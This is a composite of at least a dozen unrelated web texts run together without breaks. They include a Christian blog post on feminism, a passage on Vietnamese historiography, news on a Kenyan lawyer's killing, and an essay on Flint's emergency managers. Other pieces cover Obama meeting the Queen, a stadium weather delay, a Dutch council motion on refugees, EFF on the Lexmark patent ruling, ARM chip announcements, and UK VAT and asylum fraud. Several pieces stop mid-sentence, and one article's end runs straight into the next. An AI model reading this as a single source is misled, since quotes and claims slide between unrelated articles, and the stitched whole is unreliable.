By this time I’d already read the Bible through at least half a dozen times; after a while it starts to all blur together. Characters were reduced to bullet points; heart-wreching accounts were skimmed quickly and then checked off a list.
I was shocked, then, to read those stories as if for the first time and think about what the women in the Old Testament endured. The kidnappings, rapes, and murders littered so plentifully throughout the Scriptures.
And for the first time, I realized that perhaps we were supposed to feel some compassion for them – these women caught in a tragically cruel system that all too often treated them like property and political pawns.
For so long I had hit the bullet points, interpreted the theology, parsed the context, but failed to even consider the humanity of the women whose lives and deaths were recorded on those pages.
///
It was around that time that I stumbled upon my first “Jesus Feminists.”
First there was Rachel. Then Sarah, Emily, Suzannah, Preston, Hännah.
I was confused, at first. They didn’t seem like haters of God and men, or destroyers of families and America. But there was that word – “feminist.” That label I had been taught to fear.
They loved the Bible. They loved their husbands and kids. They loved Jesus.
But they called themselves “feminists.”
As I listened to these voices from outside of
|
uce that the information on them were nonsense given the impossible reign years of the monarchs. However, modern Vietnamese now believe that the information is true.[81] Ngô Thì Sĩ used critical analysis of historical texts to question the relations between Zhao Tuo's Nanyue Kingdom in Guangdong and the Vietnamese inhabited Red River Delta, concluding that the Red River Delta was a mere vassal to Nanyue and not an integral part of it in addition to criticizing the existence of the Hồng Bàng Dynasty.[82]
Modern Vietnamese nationalists seek to stress local Vietnamese influence in history and downplay the role of foreign origin monarchs like the fact that the family of the Tran dynasty rulers originated in China.[83] Vietnamese historians have sought to construct a fantasy of a continuous succession since the Hung Kings of local political units in Vietnam.[84] Vietnamese scholars and historians have debated over whether to regard Zhao Tuo as part of the "orthodox succession" of rulers or as "enemy invader".[85]
Professor Liam Kelley suggested that before Chinese rule the Red River Delta was not under a unified polity.[86]
Both Chinese and Vietnamese sovereigns were honored at a temple constructed by the Nguyen dynasty.[87]
The Nguyen Empoeror Minh Mang sinicized ethnic minorities such as Cambodians, claimed the legacy of Confucianism and China's Han dynasty for Vietnam, and used the term Han people 漢人 to refer to the Vietnamese.[88] Minh Mang declared that "We must hope that their barbarian habits will be subconsciously dissipated, and that they will daily become more infected by Han [Sino-Vietnamese] customs."[89] This policies were directed at the Khmer and hill tribes.[90] The Nguyen lord Nguyen Phuc Chu had referred to Vietnamese as "Han people" in 1712 when differentiating between Vietnamese and Chams.[91]
Minh Mang used the name "Trung Quốc" 中國 to refer to Vietnam.[92] Vietnam also referred to itself as Trung Hạ 中夏.
Chinese clothing was forced on Vietnamese people by the Nguyễn.[93][94][95][96]
Modern Vietnamese have retroactively labelled figures like Trần Ích Tắc as "traitor" to Annam, even though the word for traitor did not exist in Vietnamese during his time and Vietnamese histories like Đại Việt sử ký toàn thư do not refer to him as a traitor.[97]
South Vietnam retained elements of Chinese culture and grammar in their language while North Vietnam actively engaged in a campaign to remove them- while North Vietnam maintained a pro-China position.[98] it was the Cultural Revolution which led to North Vietnam encouraging anti-China sentiment.[99]
Many anti-Vietnam war protesters bought into a narrative that Vietnam's history consisted of Chinese invasion for 2,000 years and that Vietnam was a united country.[100]
Before modern times scholars in Vietnam wanted to copy China's civilization which they perceived as more civilized but since the French introduced nationalism Vietnam sought to present itself in a different aspect as a civilizational rival.[101]
A Vietnamese forged and manufactured a fake ancient mythical script claimed to have been used in ancient Vietnam.[102] Modern Vietnamese historians inserted word changes and altered the meanings of texts written by ancient Vietnamese historians on how battles between rebels in Vietnam and the Chinese states such as the Chen dynasty and Southern Han were viewed.[103] The Nguyễn Dynasty initiated government sponsored ceremonies to the Hùng kings. The French may have established the ceremony on the Hùng kings death and the Hùng Kings had an annual event established for them by Hồ Chí Minh.[104] Due to psychological embarrassment over their rule by foreign imperialists, ancient historical texts were edited for nationalistic purposes by modern Vietnamese historians.[105]
In the Mekong Delta area of Cochinchina many Vietnamese and Chinese conducted illegal commercial activities.[106] During the rule of the Chinese Kingdom of Eastern Wu over Vietnam the local people learned Chinese after Chinese people were moved down to live with them.[107]
John D. Phan has suggested a new analysis of the linguistic situation in Vietnam under Chinese rule suggesting that a Middle Chinese dialect was spoken by the people of the Red River Delta during the Tang dynasty by drawing on Sino-Vietnamese vocabulary which showed evidence that it was derived from an existing language and that this Middle Chinese dialect was later displaced by a Muong language influenced by Chinese.[108][109][110]
See also [ edit ]
References [ edit ]
Bibliography [ edit ]
Further reading [ edit ]
Primary sources [ edit ]
Werner, Jayne, et al. eds. Sources of Vietnamese Tradition (2012) excerpt and text search
In Vietnamese [ edit ]Image copyright Reuters Image caption The killings have sparked nationwide protests
Kenyan lawyer Willie Kimani was tortured before being killed and his body dumped in a river, a pathologist has said in court.
Mr Kimani, his client and their driver were abducted last month after filing a complaint against the police. Their bodies were found a week later.
Four police officers have been arrested - they have not commented.
There have been nationwide protests, with complaints that extrajudicial killings are widespread.
Africa Live: More on this and other news stories
Pathologist Andrew Gachie said Mr Kimani had 14 injuries to various parts of his body.
His skull and genitals had been crushed and he died from blunt force trauma to his head, the pathologist's report said.
Image copyright IJM Image caption Willie Kimani, 32, went missing shortly after leaving a Nairobi court
Mr Kimani's client Josephat Mwendwa died from head, neck and chest injuries.
Their driver Joseph Muiruri had had a rope tied round his neck and died from strangulation.
Mr Mwendwa had filed a complaint saying he had been wrongfully shot by police.
The Law Society of Kenya is calling for the resignation of the police chief and the internal security minister.
On Monday, government spokesman Eric Kiraithe told the BBC's Newsday programme there were no "death squads" within the police force and that allegations of officers committing crimes would be fully investigated.
Kenya's official rights body says that Kenyan security forces carried out 25 extrajudicial killing between 2013 and 2015.
However, non-governmental watchdog Independent Medico-Legal Unit (IMLU) says the police killed 97 people in 2015 alone.
High-profile extrajudicial killings in Kenya:
Image copyright Daily Nation Image caption Police said about at least 10 bullets were fired at Jacob Juma's Mercedes carU.S. Senator Gary Peters (D-MI) (3rd R) addresses a news conference about potential legislation in response to the water crisis in Flint, Michigan, with Senator Chuck Schumer (D-NY) (L-R), Senator Chris Coons (D-DE) and Senator Debbie Stabenow (D-MI), at the U.S. Capitol in Washington January 28, 2016. REUTERS/Jonathan Ernst
Many cities can’t avoid interference, and state legislators like it that way.
Emergency managers have no fan clubs. They are representatives of a takeover, sometimes hostile, of a city by a state when the city proves unable to get its finances in order. Emergency managers are often given sweeping powers that trump those of all elected officials, including mayors. They are the “fixers,” brought in to solve irreconcilable fiscal problems. And they are not uncommonly curt in their methods, as time and bond ratings are critical factors. They don’t always fix problems, though. Occasionally, they make them worse, such as in Flint, Michigan, a city that has endured four different state-appointed emergency managers lording over the city in the past five years alone. At least two of those managers were involved in the regrettable decision to draw water from the corrosive Flint River, which they rationalized as financially prudent. Now, there’s a rising consensus that no one person should have all that power.
Since Flint is a predominantly African-American city with abnormal rates of unemployment and poverty, the NAACP says the emergency managers have abridged the residents’ civil rights. John Conyers, the U.S. congressman representing Michigan, has suggested the managers have a disenfranchising effect on African Americans in violation of the Voting Rights Act. Law professor Peter Hammer, director of Wayne State University’s Damon J. Keith Center for Civil Rights, said in an Associated Press article that Flint is now the “threshold” for determining whether emergency managers are a good idea for cities in general. On its face, it doesn't seem like a bad idea to bring in a crisis manager when a city is on the brink of financial collapse. A bankrupt city could have even more devastating and disenfranchising impacts on residents. If a city can’t pay its bills, lawsuits will emerge, and arbitrators and judges could end up forcing decisions potentially worse than anything from an emergency manager. If a city is pondering whether it should allow a state takeover to happen, then the extreme case between Flint and Michigan isn’t the best example to look at. It would be better to examine the conditions that create a financial emergency to begin with. At least 18 states have a law that allows it to take control of cities enmeshed in fiscal chaos. Such conditions aren’t always of a city’s own making. Local budgets regularly tank because the state itself has created conditions that inhibit a city’s abilities to remedy its situation. A Michigan State University study released last year on state takeovers found that “some states incubate local financial stress by simultaneously driving up spending pressures on their cities while curtailing their capacity to raise critical revenue.” Pittsburgh is a good example of how this can shake out. In the early 2000s, the city was crushed with debt from police and firefighter union contract obligations. Then-mayor Tom Murphy had epic public fights with the state general assembly over its hampering of the city’s ability to raise money to cover these debts. The legislature would not allow Pittsburgh to to impose certain taxes on businesses, and forbade the city from levying a commuter tax on people who worked there but lived in the suburbs.
In 2003, Murphy put Pittsburgh at the mercy of the state’s Act 47 “distressed municipalities program,” which meant that the state would appoint a financial coordinator to commandeer Pittsburgh’s budget. The state also set up an “intergovernmental cooperation authority” board that would have additional control over the city’s affairs. Speaking with Murphy about that decision today, he tells CityLab that neither of these state managers have been very effective, in a transformative sense. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... It’s been a “colossal waste of money and time,” Murphy says. They “have been largely useless [and] would be hard-pressed to give you—other than in the most narrow way—answers on how they have saved any money for the city. They have made several attorneys rich, though.” What the “distressed municipality” designation did do was force the state to make changes to Pittsburgh’s tax revenue structure to the city's benefit, says Murphy. Michigan’s emergency-manager law is comparable to Pennsylvania’s distressed municipality law, but a bit more aggressive in its execution. The sweeping authority Michigan endows a city’s single emergency manager with is problematic enough. Also at issue is the role the state legislature has played in creating the emergency conditions, namely by reducing state aid to economically vulnerable cities. As with Pennsylvania, Michigan’s policies have also constrained its cities’ abilities to work their financial problems out on their own. Reads the Michigan State University study: [T]he state’s unyielding property tax rate limits, coupled with special features of the Headlee Amendment that forbid the use of some alternative revenue sources employed in other states (e.g., income, sales and motor fuel taxes), have had the unfortunate side effect of essentially entwining local fiscal health with state legislative politics. Michigan’s inflexibility helped create the financially distraught conditions that allowed it to plant an emergency manager with unprecedented powers into Flint. The Flint water crisis emerged from this climate. It was a legislative thirst trap.
Still, there can and will be cases where cities need the the state’s help, whether the state helped cause the mess or not. It’s worth looking at how cities that have been taken over by states have fared in the aggregate. In Debra Isadora Kobes’ 2009 MIT study of fiscal control boards, she found that success has depended on the scope of the problem and the size of the city. Kobes also found that fiscal-control takeovers have mostly improved the financial outlook of large municipalities, but not for all smaller ones. Kobes examines Miami and Washington, D.C., as two case studies of cities that had to relinquish fiscal authority to appointed managers— D.C in 1995 and Miami in 1996. Both cities were ultimately saved by these overpowering maneuvers, and thus provide some context for how such takeovers can happen effectively. They “must have proper consideration of existing political and market realities, design, and implementation to realize their benefits while minimizing their disadvantages,” writes Kobes. Takeovers come in so many flavors, it’s difficult to conclude whether they are a good or bad idea. At least 18 states have a law that allows it to take control of cities enmeshed in fiscal chaos. These laws first emerged in the 1870s and continued to gradually surface in various states, usually during times of recession and depression. The state takeovers have manifested in many formats—sometimes as a “control board” consisting of multiple managers, like what New York City had in the 1970s, or as a solitary actor, as seen in Flint. Because these takeovers come in so many different flavors, it’s difficult to conclude whether they are an overall good or bad idea. Even the Michigan State University study cautions that there’s no one-size-fits-all financial-emergency-management kit any city or state can pull from. No matter the cause, it will never be popular to answer a problem with unelected officials imposed by the state, as Kobes shows in the chart below from her study. It’s odious and tyrannical, but it’s also sometimes needed. (Deborah Isadora Kobes, MIT) Pennsylvania’s capital city of Harrisburg and Alabama’s Jefferson County were both recently placed under state management when facing bankruptcy, due to financial corruption and malfeasance. This did not bode well for Jefferson County, which in 2011 became the largest municipality to file for bankruptcy until Detroit eclipsed it in 2013. The measure did save Harrisburg, though. The decision to use a state-appointed financial manager there was vindicated last year when Stephen Reed, the mayor who drove the city into near-bankruptcy, was hit with hundreds of federal criminal fraud charges. An emergency manager was the right call in that case. But in other cases, like Flint and Pittsburgh, the root cause of financial malaise stemmed from structural issues created by loss of population, industry, and the resulting drying up of tax revenue. For those problems, states don’t need to send in a superhero; they need to change the way revenue is generated, shared, and allocated. “When I watch the [state-appointed] financial managers, they deal with band-aids rather than broader strategies, and that’s what my disappointment is with [them],” says Murphy. “They are bean counters rather than visionary people dealing with the fundamental causes of why municipalities are in distress.”Image copyright AFP/Getty Images
"She is truly one of my favourite people," President Obama said of the Queen at his Downing Street press conference.
The US leader's praise came on the day after the monarch's 90th birthday.
"I confess I've also come back to wish Her Majesty the Queen a happy 90th birthday," he said.
Ahead of a packed schedule, Mr Obama and his wife Michelle made a visit to the Queen at Windsor Castle their first stop during their three-day tour.
"Earlier today Michelle and I had the honour to join Her Majesty and His Royal Highness the Duke of Edinburgh as their guests at Windsor Castle where we conveyed the good wishes of the American people."
'Smooth riding'
The Duke of Edinburgh, 94, drove the Queen into the castle grounds to meet the president and first lady as they disembarked from their helicopter.
After a quick chat, there was some discussion over where people should sit, with Mr Obama opting for the front seat.
Referring to Prince Philip, who drove the Queen and the couple from their helicopter to the castle, Mr Obama said: "I have to say I have never been driven by a Duke of Edinburgh before and I can report that it was very smooth riding."
Image copyright Getty Images Image caption Mr Obama said his brief trip in a car with Prince Philip driving was "very smooth riding"
This is the third time the couples have met and the first time in the historic surrounds of Windsor Castle.
Their last meeting was during a visit in 2011 when the Obamas stayed in Buckingham Palace.
In 2009, in what was taken to be a sign of a friendly relationship between the families, the first lady was photographed with her arm around the Queen.
In their meetings since, including today, there does seem to be a genuine warmth between the two families.
Image caption In 2009, the first lady was photographed with her arm around the Queen
Mr Obama said the Queen had been "a source of inspiration for me like so many other people around the world".
"She is truly one of my favourite people and should we be fortunate enough to reach 90, may we be as vibrant as she is.
"She is an astonishing person and a real jewel to the world and not just to the United Kingdom."
There was no mention, however, of his birthday gift to the monarch, who received a photo album of her many meetings with US presidents and first ladies.
Another gift from Mr Obama to the Royal Family was a rocking horse, which was given to Prince George when he was born.
Image copyright Kensington Palace/PA Image caption Kensington Palace said Prince George thanked Barack Obama for his gift of a rocking horse, given to him when he was born
At the end of his first day in the UK, Mr Obama visited Kensington Palace for dinner with the Duke and Duchess of Cambridge and Prince Harry.
But before dinner, Prince George greeted Mr and Mrs Obama while dressed in his pyjamas and slippers.
Kensington Palace said the toddler thanked the president for the gift.Kyle Field had a number of technical issues last night, but the information blackout was the worst of them. Kyle Field staff wasn't providing any updates, and cell phone service was virtually nonexistent on AT&T's network. I can only recall hearing updates that we were in a weather delay, with no thorough explanation of exactly what the rules were. Kyle Field may boast college football's largest screen, but it took them 1.5 hours to use it to display a weather map, which even then was a joke as it almost scaled from Austin to Louisiana:
After a 450 million dollar renovation, Kyle Field's grand unveiling for Texas A&M's home opener was delayed for two-hours and 5 minutes due to detected lighting strikes within the area. Fans and I trying to leave the game were told that we would not be allowed re-entry into the stadium, as it would violate their policy and SEC rules. In the process of doing so, Kyle Field's staff was not only ignoring common sense, but according to Garrett Lewis of KFSM in Fayetteville, they may also have been violating NCAA rules:
Most ticket/reentry policies do not let fans leave and come back into the stadium; however, in the incidence of weather delays, NCAA rules state the stadium must let fans leave and reenter regardless of individual policies.
I couldn't locate the specific NCAA rule stating this, and a request for clarification was not immediately returned, but a review of other SEC member websites leads me to believe this is correct.
Missouri's inclement weather and stadium re-entry policies:
The Southeastern Conference mandates that once admitted to the stadium, no ticket holder shall be permitted to leave and re-enter the facility on that ticket. In the event of inclement weather, home-team game management reserves the right to waive this policy. In the event of inclement weather (i.e. dangerous winds, tornado, electrical storm, etc.) all guests will be advised that it is in their best interest to seek shelter. Emergency instructions will be delivered via the public address system and the message boards when possible.
South Carolina's inclement weather policy:
In the event that inclement weather approaches Williams-Brice Stadium, public announcements will be made to update fans on the situation. Should a lightning strike occur within 8 miles of the stadium, play will be stopped immediately. Play will resume thirty minutes after the last strike to occur within the 8-mile threat radius. Fans are encouraged to exit the venue and seek shelter in their vehicles during weather delays. All ticket stubs should be kept for re-entry into the stadium after the weather threat has cleared. Updates may also be communicated via radio on 107.5 The Game, Gamecocksonline.com, Twitter, and Facebook.
The Florida Gators ran into similar issues last week in their game against Idaho before the game was eventually called off. According to GBH's own Justin Kaspar (@ranger222), current graduate student at Flordia, fans were allowed to leave and re-enter during the 3-hour weather delay.
During an inclement weather event involving lightning, the NCAA lightning safety guide recommends that member institutions do the following:
Ensure a safe and orderly evacuation from the venue with announcements, signage, safety information in programs and entrances that can also serve as mass exits. Planning should account for the time it takes to move the teams and spectators to their designated safer locations.
No announcements were made regarding an evacuation, no safety information was given, and Texas A&M's administration and staff ended up forcing fans to make uninformed decisions between their safety and their football. I don't know what the designated safer location is for Kyle Field, but during lightning, I know that my car is a much safer place for me to be than a few hundred feet up on the 3rd deck. Four-hundred and fifty million dollars bought a beautiful stadium, but unfortunately it didn't come with much common sense last night.Bron: D66-Amstelveen
07-09-2015
De Amstelveense collegepartij D66 roept het college van B en W in de gemeente op concreet plannen te maken ten aanzien van opvanglocaties voor mogelijke vluchtelingen. Zo ziet de partij mogelijkheden in het grote aantal leegstaande kantoorpanden en het wegnemen van eventuele belemmeringen voor particuliere initiatieven. D66 vraagt dit aan het college via schriftelijke vragen.
Dit naar aanleiding van de oproep van Staatssecretaris Dijkhoff om ook te kijken naar onconventionele opvangmogelijkheden. De Amstelveense wethouder Brandes (PvdA) heeft reeds aangekondigd een symposium te willen organiseren om met alle partijen in discussie te gaan over dit onderwerp. D66 vindt echter, dat er op dit moment al verder moet worden gegaan dan een symposium en ziet dan ook graag meer concrete plannen van het college.
(Foto Amstelveenweb.com - 2014)
Frank Berkhout, fractievoorzitter van D66-Amstelveen
Zo roept de partij het college op alvast in overleg te treden met de eigenaren van de leegstaande kantoorpanden om te onderzoeken, of opvang in deze locaties gerealiseerd kan worden. Daarnaast vragen de democraten of een ontheffing mogelijk is voor het Luchtvaartindelingsbesluit (LIB) op locaties, zoals Kronenburg. Deze wet beperkt het aantal woonachtigen op een vliegroute van Schiphol. De partij wil ook weten, of het college inmiddels een formeel verzoek heeft ontvangen vanuit het kabinet om opvanglocaties beschikbaar te stellen."We vinden het belangrijk dat mensen die op zoek zijn naar veiligheid ook in Amstelveen terecht kunnen," aldus fractievoorzitter Frank Berkhout. "Wanneer we nu al plannen maken en de juiste voorbereidingen treffen, kunnen we straks snel schakelen als dat nodig is." De schriftelijke vragen zijn officieel ingediend bij het college van B en W. Zij hebben uiterlijk zes weken om hierop te reageren.The Supreme Court struck a blow today [PDF] for your right to own the things you buy, reversing a lower court decision that had given patent owners the power to sue customers who paid in full for a patented item but then used it in a way the patent owner didn't care for. The Court's reasoning will help us protect your rights from overbroad copyright and other restrictions, like the ones written into "end user license agreements" for software or imposed by technological restrictions given legal teeth by Section 1201 of the DMCA.
Lexmark tried every legal trick in the book to keep you from refilling your own printer cartridges, and had finally found a sympathetic ear at the Federal Circuit, the Federal Court of Appeals with jurisdiction over patent law. The Federal Circuit agreed with Lexmark that a patent owner could write their own rules that customers would have to follow or face liability for patent infringement. Even someone who later acquired a product, like the companies that refill printer cartridges, would have to abide by these restrictions.
Together with Public Knowledge and R Street, EFF filed an amicus brief [ PDF] at the Supreme Court. We explained that the ability of patent owners to sell products into the stream of commerce while also writing a wishlist of anti-competitive restrictions, would be a disastrous expansion of patent law, hindering competition, innovation, and your freedom to tinker with and repair your own stuff.
The Supreme Court agreed, explaining that when a patent owner "chooses to sell an item, that product is no longer within the limits of the monopoly and instead becomes the private individual property of the purchaser, with the rights and benefits that come along with ownership." The Court emphasized that, by default, people have every right to make, sell, and use things. The limited monopoly that the government bestows upon a patent owner is a deviation from the norm of free market competition and ownership of personal property, and is subject to important limits in order to protect the public interest.
The Court also rejected the argument, raised perennially by rightsholders, that they are entitled to profit via the business model of their choosing, even if that business model requires an expansive reading of the patent or copyright monopoly they enjoy. This argument arises in many contexts. For example, we've seen video game console makers argue that your traditional rights to modify your gaming console must be restricted to enable the loss-leader business model of selling inexpensive consoles and pricey games. Makers of Internet-of-Things devices often require a subscription to function. And manufacturers often try to place restrictions on reselling digital goods, repair markets, and other uses that the law has traditionally allowed customers to engage in. A rightsholder may be able to make more money if you have to pay to exercise your existing rights, but ownership of a patent or copyright should not be a hunting license that allows an owner to control and destroy any business that threatens their profits. Today, the Supreme Court reaffirmed that a patent does not confer unfettered control of consumer goods to the patent owner.
We have long fought for your right to own, understand, and control the devices in your life, and patent restrictions have been just one threat to those rights. Today's decision will help on other fronts, as we push back against abusive terms of use and "end user license agreements" that purport to strip you of your rights on pain of copyright infringement. The Court explained that people who buy things are allowed to use and resell them without being sued under patent and copyright law, and explained that this freedom is necessary for commerce to function. The next logical step will be for courts to recognize that people who buy digital goods are owners of those goods, not mere licensees, and can resell and tinker with their digital goods to the same extent as purchasers of tangible property.
The reasoning in the Court's decision also demonstrates why Section 1201 of the DMCA has become dangerously overbroad. The Chief Justice used the auto industry as an example of a market that would be hindered if manufacturers retained a legal right to control the repair and resale of the devices they sold. This argument won't be a surprise to anyone who followed the latest rulemaking process, in which we convinced regulators to (at least temporarily) relieve some of Section 1201's restrictions on auto repair.
Overall, the decision reinforces the freedoms of device owners and fends off the monopolistic threat of patent rights eliminating fair, essential competition in markets for repair and third-party innovation. We applaud the Supreme Court for striking this blow on behalf of the public, and look forward to seeing the ripples of the decision in the years to come.Today ARM is announcing three brand-new premium IP designs targeted at high-end mobile SoCs. We're still only starting to get widespread commercial availability of ARM's latest generation of SoCs, which includes the Cortex-A57 in big.LITTLE configuration coupled with the A53 as little cores, and the newest T760 Mali GPUs. But, while those designs are still ramping up through offerings from Samsung, Qualcomm, HiSilicon and co. this year, ARM isn't staying still and already looking forward to 2016 and beyond.
Cortex-A72 - a new high end core
At the center of today's announcements a new high-end performance core which succeeds the A57 in flagship devices. ARM was very vague about the architectural characteristics of the new design, disclosing for now only estimates of the chip's performance and power targets. ARM promises a 3.5x sustained performance increase over the A15 generation of SoCs while remaining in the same power budget. One has to note that we're talking about performance targets on TSMC's 16nm FinFET+ node versus previous nodes such as 28 and 20nm, which in itself should bring large clock and power advantages.
The A72 targets roughly 1.9X the sustained performance of current 20nm A57 SoCs, meaning the Exynos 5433 and the Snapdragon 810 can be taken as the base for comparisons. ARM doesn't yet mention peak performance so we may be talking about overall power efficiency gains that enable future SoCs to throttle much less. ARM will be divulging more information on the architecture of the A72 in the coming months, and we're hoping to have a better picture on the actual IPC and efficiency gains of the new flagship core by then.
The Cortex-A72, being a "big" core, can be partnered up with the already existing A53 LITTLE core architectures. ARM has said in the past that the A53 took in-order designs to new heights, and while work on a successor is underway, it seems that for now we'll be sticking with the A53 architecture for a while longer.
HiSilicon, MediaTek and Rockchip are listed among more than then launch partners which have already licensed the Cortex-A72 processor, so expect to see a variety of vendors offering the new ARM IP in 2016.
CoreLink CCI-500 SoC interconnect
It's been over 3 years since ARM initially announced their CCI-400 (Cache Coherent Interconnect), which saw widespread usage as the corner-stone technology enabling big.LITTLE heterogeneous multiprocessing in all consumer SoCs from the Exynos 5410 to the latest Snapdragon 810. While ARM also offered high-end alternatives such as the CCN-5XX (Cache Coherent Network) range of interconnects, these were targeted more at server-applications and not meant for mobile SoCs in smartphones or tablets.
The CCI-500 is a large upgrade over the CCI-400 as it introduces a variety of new functionality over its predecessor. The largest change in functionality is the addition of a snoop filter on the interconnect itself. Until now snoop control was only possible between CPUs within a single cluster. The addition of a snoop filter on the interconnect allows for power efficiency benefits as the amount of transactions when doing cache lookups is decreased, enabling both reduced overhead on the interconnect and also higher idle residency times on the CPU cores. This reduced overhead also frees up memory bandwidth on the interconnect, and ARM claims this enables for 30% better memory performance on the CPU ports.
The new interconnect also doubles up on its system bandwidth: We now have twice the number of ACE (AXI Coherency Extension) ports, enabling usage of a maximum of four CPU clusters (instead of the two that are possible with the CCI-400). We'll be continuing to see the usage of only two clusters in mobile designs, but the new IP gives licensees the flexibility to deviate according to their needs.
The increased bandwidth and numbers of ports on the interconnect also opens up the possibility of quad-channel memory controllers, resulting in 128-bit memory buses. The Snapdragon 805 was the first mobile product to feature such capability, although Qualcomm used a non-cache-coherent interconnect in their design.
Mali T880 GPU
Lastly, ARM also announced a new member of the T800 series of Mali GPUs. In addition to the T820, T830 and T860 comes the T880. ARM was again light on details of what this new configuration brings, only promising a 1.8x increase performance over 2014 Mali T760 GPUs and a 40% reduction in energy consumption for the same workloads.
With today's announcements, ARM appears to be addressing its weaknesses in mobile SoCs by focusing on sustained performance and efficiency of its big core architecture. We also have the much needed upgrade in the memory/interconnect subsystem and an expansion in its GPU IP offering.LONDON (Reuters) - Britain is losing up to 1 billion pounds a year in value added tax (VAT) because of fraud or error by sellers using online marketplaces eBay and Amazon, a report by the government auditor said.
FILE PHOTO - The logo of Amazon is seen at the company logistics center in Lauwin-Planque, northern France on February 20, 2017. REUTERS/Pascal Rossignol/File Photo
The National Audit Office (NAO) said on Wednesday that the sellers involved are often based in China and that consumer regulator Trading Standards had found that U.S. companies Amazon and eBay had failed to remove sellers that were flouting VAT rules, even after being informed of the sellers’ non-compliance.
READ: Amazon's arrival sounds wake-up bell for Australia's sleepy retailers
“The size of the VAT losses due to online VAT fraud or error on transactions taking place on Amazon’s and eBay’s online platforms could be up to 1 billion pounds a year,” the NAO said, citing latest figures from the Trading Standards Institute.
All retailers selling to customers in Britain must collect VAT of 20 percent of the value of goods sold and pay this to the government. Most western countries operate similar VAT systems.
EBay said it is committed to making its platform, where sellers advertise their goods for sale, a fair place to buy and sell.
“We will continue to work closely with (British tax authority) HMRC to ensure that all sellers on our platform comply with the law,” eBay said in an emailed statement.
READ: EBay's profit forecast falls short of estimates
Amazon, which has also been criticised by British lawmakers for using complex corporate structures to avoid paying tax on the profits it makes from UK customers, said it worked closely with HMRC on the matter.
“We promptly remove any seller that they inform us is not VAT compliant,” the company said in a statement.
New rules aimed at making operators of marketplaces liable for VAT not paid by a seller identified to the operator as non-compliant would help to tackle the problem, the NAO said.
The auditor said that eBay and Amazon supported this measure but that Amazon had opposed another rule due to come into force next year, under which such businesses must perform due diligence checks on their overseas customers.
Amazon felt this was “disproportionate and ineffective”, the NAO said.
In addition to offering a marketplace to sellers, Amazon has a business that acts as a dispatcher for goods sold by third-party sellers.
($1 = 0.7785 pounds)Special report: As crashes rise, suburbs push to build in safety for walkers, cyclists
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Editor's note: This is the second of a continuing series on the rise of bicyclist and pedestrian fatalities in the suburbs.
Three miles from home, cyclist Patty Brummet paced herself. This training ride was all about building endurance for a trek across the U.S. she'd planned.
Just ahead, a driver in a parked car flung open the door. Brummet rode right into it, smashing into the steel frame and catapulting into the roadway near Glencoe, her helmet cracking in three places.
She woke up hours later in a hospital with a chipped shoulder bone, a concussion and massive bruising.
"You can't depend on the driver noticing you," said Brummet, who returned to marathon biking after her March 2016 crash but still has vision problems.
And yet, Brummet is relatively lucky. A Daily Herald analysis of suburban vehicle crashes with cyclists and pedestrians found 250 were fatal and 9,290 involved injuries from 2012 through 2015.
And instead of declining, in 2015 suburban collisions rose 3 percent and fatal collisions spiked by nearly 13 percent, according to the most recent Illinois Department of Transportation data.
A number of communities are trying to reverse the trend, although most remedies are costly and some may give rise to other problems.
- Marni Pyke | Staff Photographer You have to be a "defensive walker," says Chicagoan Henry Monte, a pedestrian in Elk Grove Village's industrial area.
Bensenville is building an ambitious series of asphalt paths to run alongside key arterial streets after experiencing 11 crashes between vehicles and bicyclists or pedestrians in 2015, including a fatal collision between 86-year-old pedestrian Modesta De La Rosa and a pickup truck that didn't stop.
This fall, workers completed the first path along Church Road, a busy two-lane street.
Coming next are paths on Route 83 and Thorndale Avenue so walkers and cyclists "won't have to do battles with the semis," Community and Economic Development Director Scott Viger said.
The downside of bike paths comes when they end, the Active Transportation Alliance concludes in its "Suburban Bikeways for All" report.
- Bev Horne | Staff Photographer Bensenville is installing a path for bicyclists and walkers next to Church Road as part of a comprehensive bike plan.
The Chicago area boasts about 4,000 miles of trails and paths, but 142 miles of gaps in the system create a stressful and dangerous environment for riders, runners or pedestrians spilling out onto busy streets, the Alliance reports.
The Lake County Forest Preserve District tried for decades before closing a one-third-mile gap in the Des Plaines River Trail that forced users onto busy Milwaukee Avenue. But other gaps exist in Wheeling and Prospect Heights.
Across the region, some
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adequate conception of human rationality, and a more complex appraisal of the norms applicable to cases of divergent, rival religious claims and disagreements. Insofar as feminist philosophy of religion studies the strictly intellectual interpretations of any religious tradition, it will encounter beliefs, symbols, and ideas that are embedded in specific socio-cultural power relations. New work is now needed that reflects on the dynamics of power relations, analyzes inherited oppressions, searches for alternative wisdom and suppressed symbolism, and risks new accounts of the tricky truth and justification questions in light of religious pluralism.
Taking seriously the striking plurality of human forms of religious life leads to a second significant question. What theorizations of religion are most adequate for feminists to work with? Before this question can be addressed with all the philosophical rigor its complexity demands, feminists must face up to the fact that religion is a potent dimension of the lives and desires of contemporary women around the world; therefore, philosophizing it as superstition, reactionary ideology, false consciousness, irrational belief, or premodern, outmoded hangover simply calls into question, not the phenomenon of religion, but the grasp of feminist philosophy itself on its subject matter. In our time, the elementary forms of religious life cannot be critiqued along the same lines that modernity has worn thin.
Finally, theorization of the “religion” in feminist philosophy of religion in a pluralistic age leads to a third significant area of un-ploughed feminist ground. What is the religion to be found in recent (and past) philosophy? In addition to thinking about the philosophy of religion, feminists need to think more deeply about the religion in philosophy. Theological conceptions abound in the work of, for example, Martin Heidegger, Iris Murdoch, Stanley Cavell, Charles Taylor, and Martha Nussbaum. The deconstructionist writings of Jacques Derrida offer another instance of secular writing in a religious key whose feminist relevance needs to be assessed. Although some outstanding and suggestive work has been done by Fergus Kerr (1997) and John Caputo (1997) on the religion in recent philosophy, the feminist corner of the triangle religion–philosophy–feminism remains to be more completely configured.
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feminist (interventions): epistemology and philosophy of science | religion: epistemology ofAn asylum seeker who claimed they were 'destitute' to get thousands of pounds of taxpayers' money was found to have £74,000 in cash and illegal wages.
The scandal was unearthed by the immigration watchdog in a damning report which exposed widespread fraud in the refugee system.
John Vine, the Chief Inspector of Borders and Immigration, estimated that asylum fraud cost taxpayers £1.2 million a year. But he warned that the true amount was likely to be'substantially higher'.
John Vine, the Chief Inspector of Borders and Immigration, said half of the recommendations in his report into the asylum system related to improvements in tackling fraud
Mr Vine said the Government was failing to tackle asylum seekers ripping off the taxpayers.
The largest fraud seen by the chief inspector saw an asylum seeker handed £18,000 in support, while pocketing £74,000 from other benefits and wages from working on the side.
The unnamed claimant was caught, but avoided jail - receiving a 12 month suspended sentence for fraud - and was not even asked to repay the cash even though they had £10,500 in savings.
Theresa May has been ordered by the borders chief to get a grip on asylum fraud
